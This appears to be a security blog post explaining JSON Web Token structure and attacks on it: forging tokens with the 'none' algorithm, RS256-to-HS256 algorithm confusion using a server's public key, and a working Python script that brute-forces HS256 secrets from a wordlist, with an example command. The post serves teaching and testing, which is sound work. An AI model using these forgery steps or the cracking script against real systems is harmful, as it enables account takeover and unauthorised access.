JSON Web Token (JWT) is a standard for creating tokens that assert some number of claims. The ‘claims’ are signed by the server’s key, so the server is able to verify that the token is legitimate.

JWTs generally have three parts: a header, a payload, and a signature. Each part is base64 encoded:

The header identifies which algorithm is used to generate the signature, and looks something like this:

header = '{"alg":"HS256","typ":"JWT"}'
The payload might look something like this:

{
  "sub": "1234567890",
  "name": "John Doe",
  "iat": 1516239022
}

The signature is then SHA256-HMAC of the payload and a secret key.

HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  "secret"
)

To familiarise your self with JWT you can use the decoder at https://jwt.io/

Algorithms

List of algorithms

  • None
  • HS256
  • HS384
  • HS512
  • RS256
  • RS384
  • RS512
  • ES256
  • ES384
  • ES512

The “none” algorithm

Its intended use is for situations where the integrity of the token has already been verified. Interestingly enough, it is one of only two algorithms that are mandatory to implement (the other being HS256). Anyone can create their own “signed” tokens with whatever payload they want, allowing arbitrary account access on some systems.

Putting together such a token is easy.

  • Modify the above example header to contain “alg”: “none” instead of HS256.
  • Make any desired changes to the payload.
  • Use an empty signature (i.e. signature = “”). Recent implementations should now have a basic check to prevent this attack. If a secret key is provided, that will break the verification of the none algorithm. This is a good idea, but it doesn’t solve the underlying problem: attackers control the choice of algorithm.

Attackers control the choice of algorithm

Most of the JWT libraries that I’ve looked at have an API like this:

verify(string token, string verificationKey)

It returns the payload if the token is valid, else it throws an error.

In systems using HMAC signatures, verificationKey will be the server’s secret signing key (since HMAC uses the same key for signing and verifying):

verify(clientToken, serverHMACSecretKey)

In systems using an asymmetric algorithm, verificationKey will be the public key against which the token should be verified:

verify(clientToken, serverRSAPublicKey)

Unfortunately, an attacker can abuse this. If a server is expecting a token signed with RSA, but actually receives a token signed with HMAC, it will think the public key is actually an HMAC secret key.

How is this bad? HMAC secret keys are supposed to be kept private, while public keys are typically public. This means that your attacker has access to the public key, and can use this to forge a token that the server will accept.

Doing so is pretty straightforward. First, grab your favourite JWT library, and choose a payload for your token. Then, get the public key used on the server as a verification key (most likely in the text-based PEM format). Finally, sign your token using the PEM-formatted public key as an HMAC key. Essentially:

forgedToken = sign(tokenPayload, 'HS256', serverRSAPublicKey)

The hardest part is making sure that serverRSAPublicKey is identical to the verification key used on the server. The strings must match exactly for the attack to work — exact same format, and no extra or missing line breaks. End result? Anyone with knowledge of the public key can forge tokens that will pass verification.

Attacking HS256 a PoC

While this is a limited PoC for HS256 this can be easily adapted to bruteforce the other algorithms.

Updated Code is available here: https://github.com/netscylla/JWT_Hacking/

#!/usr/bin/python
#(C)2018 Netscylla
#License GNU GPL v3.0

import sys,os
import Queue
import threading
import jwt
from termcolor import colored

NumOfThreads=100
queue = Queue.Queue()

try:
    encoded=sys.argv[1]
    WordList=open(sys.argv[2],'r')
except:
    print "Usage: %s encoded wordlist" % sys.argv[0]
    sys.exit(1)

class checkHash(threading.Thread):
    def __init__(self,queue):
        threading.Thread.__init__(self)
        self.queue=queue
    def run(self):
        while True:
            self.secret=self.queue.get()
            try:
                jwt.decode(encoded, self.secret, algorithms=['HS256'])
                print colored('Success! ['+self.secret+']','green')
                os._exit(0)
                self.queue.task_done()
            except jwt.InvalidTokenError:
                print colored('Invalid Token ['+self.secret+']','red')
            except jwt.ExpiredSignatureError:
                print colored('Token Expired ['+self.secret+']','red')

for i in range(NumOfThreads):
    t=checkHash(queue)
    t.setDaemon(True)
    t.start()

for word in WordList.readlines():
    queue.put(word.strip())

queue.join()

Example:

python ./JWTCrack.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.BhquqdHL_k3yVeIH2M-tZmerbhvQLUNvluAO0MSaILI ./rockyou.txt


Share on: